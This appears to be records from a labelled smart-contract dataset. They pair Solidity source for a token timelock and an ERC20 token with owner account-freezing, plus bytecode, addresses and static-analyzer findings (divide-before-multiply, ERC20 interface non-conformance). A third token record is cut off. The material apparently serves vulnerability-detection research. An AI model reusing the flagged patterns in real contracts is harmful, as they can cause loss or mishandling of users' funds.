* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to withdraw the
* tokens after a given release time.
*/
contract UnsupervisedTimelock {
using SafeERC20 for IERC20;
// Seconds of a day
uint256 private constant SECONDS_OF_A_DAY = 86400;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// The start timestamp of token release period.
//
// Before this time, the beneficiary can NOT withdraw any token from this contract.
uint256 private immutable _releaseStartTime;
// The days that the timelock will last.
uint256 private immutable _daysOfTimelock;
// The OctToken contract
IERC20 private immutable _token;
// Total balance of benefit
uint256 private immutable _totalBenefit;
// The amount of withdrawed balance of the beneficiary.
//
// This value will be updated on each withdraw operation.
uint256 private _withdrawedBalance;
event BenefitWithdrawed(address indexed beneficiary, uint256 amount);
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseStartTime_,
uint256 daysOfTimelock_,
uint256 totalBenefit_
) {
_token = token_;
_beneficiary = beneficiary_;
_releaseStartTime =
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY);
require(
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY) +
daysOfTimelock_ *
SECONDS_OF_A_DAY >
block.timestamp,
"UnsupervisedTimelock: release end time is before current time"
);
_daysOfTimelock = daysOfTimelock_;
_totalBenefit = totalBenefit_;
_withdrawedBalance = 0;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary address
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the total balance of benefit
*/
function totalBenefit() public view returns (uint256) {
return _totalBenefit;
}
/**
* @return the balance to release for the beneficiary at the moment
*/
function releasedBalance() public view returns (uint256) {
if (block.timestamp <= _releaseStartTime) return 0;
if (
block.timestamp >
_releaseStartTime + SECONDS_OF_A_DAY * _daysOfTimelock
) {
return _totalBenefit;
}
uint256 passedDays = (block.timestamp - _releaseStartTime) /
SECONDS_OF_A_DAY;
return (_totalBenefit * passedDays) / _daysOfTimelock;
}
/**
* @return the unreleased balance of the beneficiary at the moment
*/
function unreleasedBalance() public view returns (uint256) {
return _totalBenefit - releasedBalance();
}
/**
* @return the withdrawed balance of beneficiary
*/
function withdrawedBalance() public view returns (uint256) {
return _withdrawedBalance;
}
/**
* @notice Withdraws tokens to beneficiary
*/
function withdraw() public {
uint256 balanceShouldBeReleased = releasedBalance();
require(
balanceShouldBeReleased > _withdrawedBalance,
"UnsupervisedTimelock: no more benefit can be withdrawed now"
);
uint256 balanceShouldBeTransfered = balanceShouldBeReleased -
_withdrawedBalance;
require(
token().balanceOf(address(this)) >= balanceShouldBeTransfered,
"UnsupervisedTimelock: deposited balance is not enough"
);
_withdrawedBalance = balanceShouldBeReleased;
token().safeTransfer(_beneficiary, balanceShouldBeTransfered);
emit BenefitWithdrawed(_beneficiary, balanceShouldBeTransfered);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806391eeab851161005b57806391eeab85146100c85780639ab4b22f146100e6578063f50c8e2d14610104578063fc0c546a146101225761007d565b806338af3eed146100825780633ccfd60b146100a05780636b37cc14146100aa575b600080fd5b61008a610140565b6040516100979190610a1c565b60405180910390f35b6100a8610168565b005b6100b2610366565b6040516100bf9190610b3d565b60405180910390f35b6100d06103a0565b6040516100dd9190610b3d565b60405180910390f35b6100ee6103a9565b6040516100fb9190610b3d565b60405180910390f35b61010c610500565b6040516101199190610b3d565b60405180910390f35b61012a610528565b6040516101379190610a60565b60405180910390f35b60007f000000000000000000000000a50f38e4e19a8fe65a3131de0d39e82c50be86cf905090565b60006101726103a9565b905060005481116101b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101af90610a9d565b60405180910390fd5b60008054826101c79190610c6b565b9050806101d2610528565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161020a9190610a1c565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a9190610896565b101561029b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029290610abd565b60405180910390fd5b816000819055506102f47f000000000000000000000000a50f38e4e19a8fe65a3131de0d39e82c50be86cf826102cf610528565b73ffffffffffffffffffffffffffffffffffffffff166105509092919063ffffffff16565b7f000000000000000000000000a50f38e4e19a8fe65a3131de0d39e82c50be86cf73ffffffffffffffffffffffffffffffffffffffff167f26b111a6f79cb1f14e797207bb7f2095963c467ca641399e15f7b2a02fb44cf98260405161035a9190610b3d565b60405180910390a25050565b60006103706103a9565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000061039b9190610c6b565b905090565b60008054905090565b60007f00000000000000000000000000000000000000000000000000000000612ec28042116103db57600090506104fd565b7f00000000000000000000000000000000000000000000000000000000000004486201518061040a9190610c11565b7f00000000000000000000000000000000000000000000000000000000612ec2806104359190610b8a565b421115610464577f0000000000000000000000000000000000000000000000000de0b6b3a764000090506104fd565b6000620151807f00000000000000000000000000000000000000000000000000000000612ec280426104969190610c6b565b6104a09190610be0565b90507f0000000000000000000000000000000000000000000000000000000000000448817f0000000000000000000000000000000000000000000000000de0b6b3a76400006104ef9190610c11565b6104f99190610be0565b9150505b90565b60007f0000000000000000000000000000000000000000000000000de0b6b3a7640000905090565b60007f000000000000000000000000f5cfbc74057c610c8ef151a439252680ac68c6dc905090565b6105d18363a9059cbb60e01b848460405160240161056f929190610a37565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105d6565b505050565b6000610638826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661069d9092919063ffffffff16565b90506000815111156106985780806020019051810190610658919061086d565b610697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068e90610b1d565b60405180910390fd5b5b505050565b60606106ac84846000856106b5565b90509392505050565b6060824710156106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190610add565b60405180910390fd5b610703856107c9565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990610afd565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161076b9190610a05565b60006040518083038185875af1925050503d80600081146107a8576040519150601f19603f3d011682016040523d82523d6000602084013e6107ad565b606091505b50915091506107bd8282866107dc565b92505050949350505050565b600080823b905060008111915050919050565b606083156107ec5782905061083c565b6000835111156107ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108339190610a7b565b60405180910390fd5b9392505050565b60008151905061085281610f12565b92915050565b60008151905061086781610f29565b92915050565b60006020828403121561087f57600080fd5b600061088d84828501610843565b91505092915050565b6000602082840312156108a857600080fd5b60006108b684828501610858565b91505092915050565b6108c881610c9f565b82525050565b60006108d982610b58565b6108e38185610b6e565b93506108f3818560208601610d0b565b80840191505092915050565b61090881610ce7565b82525050565b600061091982610b63565b6109238185610b79565b9350610933818560208601610d0b565b61093c81610d9c565b840191505092915050565b6000610954603b83610b79565b915061095f82610dad565b604082019050919050565b6000610977603583610b79565b915061098282610dfc565b604082019050919050565b600061099a602683610b79565b91506109a582610e4b565b604082019050919050565b60006109bd601d83610b79565b91506109c882610e9a565b602082019050919050565b60006109e0602a83610b79565b91506109eb82610ec3565b604082019050919050565b6109ff81610cdd565b82525050565b6000610a1182846108ce565b915081905092915050565b6000602082019050610a3160008301846108bf565b92915050565b6000604082019050610a4c60008301856108bf565b610a5960208301846109f6565b9392505050565b6000602082019050610a7560008301846108ff565b92915050565b60006020820190508181036000830152610a95818461090e565b905092915050565b60006020820190508181036000830152610ab681610947565b9050919050565b60006020820190508181036000830152610ad68161096a565b9050919050565b60006020820190508181036000830152610af68161098d565b9050919050565b60006020820190508181036000830152610b16816109b0565b9050919050565b60006020820190508181036000830152610b36816109d3565b9050919050565b6000602082019050610b5260008301846109f6565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b9582610cdd565b9150610ba083610cdd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610bd557610bd4610d3e565b5b828201905092915050565b6000610beb82610cdd565b9150610bf683610cdd565b925082610c0657610c05610d6d565b5b828204905092915050565b6000610c1c82610cdd565b9150610c2783610cdd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610c6057610c5f610d3e565b5b828202905092915050565b6000610c7682610cdd565b9150610c8183610cdd565b925082821015610c9457610c93610d3e565b5b828203905092915050565b6000610caa82610cbd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610cf282610cf9565b9050919050565b6000610d0482610cbd565b9050919050565b60005b83811015610d29578082015181840152602081019050610d0e565b83811115610d38576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f556e7375706572766973656454696d656c6f636b3a206e6f206d6f726520626560008201527f6e656669742063616e2062652077697468647261776564206e6f770000000000602082015250565b7f556e7375706572766973656454696d656c6f636b3a206465706f73697465642060008201527f62616c616e6365206973206e6f7420656e6f7567680000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610f1b81610cb1565b8114610f2657600080fd5b50565b610f3281610cdd565b8114610f3d57600080fd5b5056fea2646970667358221220d64301bb2e01bd50ccf6f1b3e32ab3dd016930675ceb384fec7a4cb0beb8076064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,020 |
0xbfd0835805c5bfb85a8dd473fb1cb4cb847638e1
|
//////////////////////////////////////////////////////////////////////////////////////////
// //
// Title: JiJieHao Creation Contract //
// Author: Owen Pang //
// Version: v1.0 //
// Date of current version: 2018/08/24 //
// //
//////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function div(uint a, uint b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
string public version = 'J1.0';
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
uint8 _decimalUnits,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
decimals = _decimalUnits; // Amount of decimals for display purposes
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] =balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
contract JiJieHao is owned, TokenERC20 {
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function JiJieHao(
uint256 initialSupply,
uint8 decimalUnits,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, decimalUnits,tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b57806342966c68146102cc57806354fd4d501461031157806370a08231146103a157806379cc6790146103f85780638da5cb5b1461045d57806395d89b41146104b4578063a9059cbb14610544578063b414d4b614610591578063cae9ca51146105ec578063dd62ed3e14610697578063e724529c1461070e578063f2fde38b1461075d575b600080fd5b34801561010257600080fd5b5061010b6107a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083e565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b506102006108cb565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d1565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610a83565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102f760048036038101908080359060200190929190505050610a96565b604051808215151515815260200191505060405180910390f35b34801561031d57600080fd5b50610326610b9a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036657808201518184015260208101905061034b565b50505050905090810190601f1680156103935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ad57600080fd5b506103e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c38565b6040518082815260200191505060405180910390f35b34801561040457600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c50565b604051808215151515815260200191505060405180910390f35b34801561046957600080fd5b50610472610e6a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c057600080fd5b506104c9610e8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2d565b005b34801561059d57600080fd5b506105d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3c565b604051808215151515815260200191505060405180910390f35b3480156105f857600080fd5b5061067d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f5c565b604051808215151515815260200191505060405180910390f35b3480156106a357600080fd5b506106f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110df565b6040518082815260200191505060405180910390f35b34801561071a57600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611104565b005b34801561076957600080fd5b5061079e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611229565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095e57600080fd5b6109ed82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a788484846112e0565b600190509392505050565b600360009054906101000a900460ff1681565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ae657600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c305780601f10610c0557610100808354040283529160200191610c30565b820191906000526020600020905b815481529060010190602001808311610c1357829003601f168201915b505050505081565b60066020528060005260406000206000915090505481565b600081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ca057600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d2b57600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f255780601f10610efa57610100808354040283529160200191610f25565b820191906000526020600020905b815481529060010190602001808311610f0857829003601f168201915b505050505081565b610f383383836112e0565b5050565b60086020528060005260406000206000915054906101000a900460ff1681565b600080849050610f6c858561083e565b156110d6578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561106657808201518184015260208101905061104b565b50505050905090810190601f1680156110935780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156110b557600080fd5b505af11580156110c9573d6000803e3d6000fd5b50505050600191506110d7565b5b509392505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115f57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156112d557fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561130657600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561135457600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e682600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163890919063ffffffff16565b1115156113f257600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561144b57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156114a457600080fd5b6114f681600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163890919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561164c57fe5b80915050929150505600a165627a7a72305820ebab045323c0847ed89acb4253018d24af73b93c85d237abd510109fddc507900029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,021 |
0xdb54e9735367300a358563ac3182cc28bdb565cc
|
/*
Submitted for verification at Etherscan.io on 2021-06-09
https://cowboyshiba.com
Tokenomics @ Launch:
1. 1,000,000,000,000 Total Supply
2. 20% - Burned
3. 3% - Marketing
4. 2.5% - Dev
5. 1% - Charity
6. 2% - AirDrops
7. 71.5% - Liquidity Locked Forever
8. 0.3% Buy Limit (until lifted)
9. Ownership Renounced
Tokenomics Taxation:
1. Sells limited to 2% of the Liquidity Pool, <1.9% price impact
